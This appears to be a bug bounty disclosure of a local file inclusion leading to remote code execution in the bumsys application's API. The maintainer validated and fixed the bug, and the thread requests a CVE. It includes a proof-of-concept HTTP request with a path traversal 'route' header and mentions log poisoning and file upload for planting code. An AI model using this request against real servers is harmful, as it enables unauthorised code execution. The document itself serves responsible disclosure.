Local file inclusion leading to RCE in unilogies/bumsys

Valid

Reported on

Feb 28th 2023


Description

The api handling endpoint allows for a local file inclusion that can lead to remote code execution. It requires a valid api token which can be obtained via a database backup (with account access), a number of different sql injections (with account access), or stolen from a user.

Proof of Concept

The following request can trigger the vulnerability. A valid api key needs to specified in the secret HTTP header. The route header specifies the file path that will be included (without the .php extension). The attacker needs to get code onto the server which can be accomplished via log poisoning or a different RCE found https://github.com/unilogies/bumsys/blob/9dc2de204116297a7e528c38bc3b1e89bf40f907/module/settings/ajax.php#L1712 which allows uploading arbitrary files with extension control.

GET /api/v1/ HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Connection: close
secret: test
route: ../../../../../shell

Impact

Exploitation of this vulnerability could result in remote code execution on the server.

We are processing your report and will contact the unilogies/bumsys team within 24 hours. a year ago
A GitHub Issue asking the maintainers to create a SECURITY.md exists a year ago
Joe Rozner modified the report
a year ago
We have contacted a member of the unilogies/bumsys team and are waiting to hear back a year ago
Khurshid Alam validated this vulnerability a year ago

Good finding. Will fix soon. Thank you

jrozner has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Khurshid Alam marked this as fixed in 2.1.1 with commit 86e29d 10 months ago
Khurshid Alam has been awarded the fix bounty
This vulnerability has now been published 10 months ago
Khurshid Alam
10 months ago

Maintainer


@admin, please assign a CVE.

Pavlos
10 months ago

Admin


ok :)

to join this conversation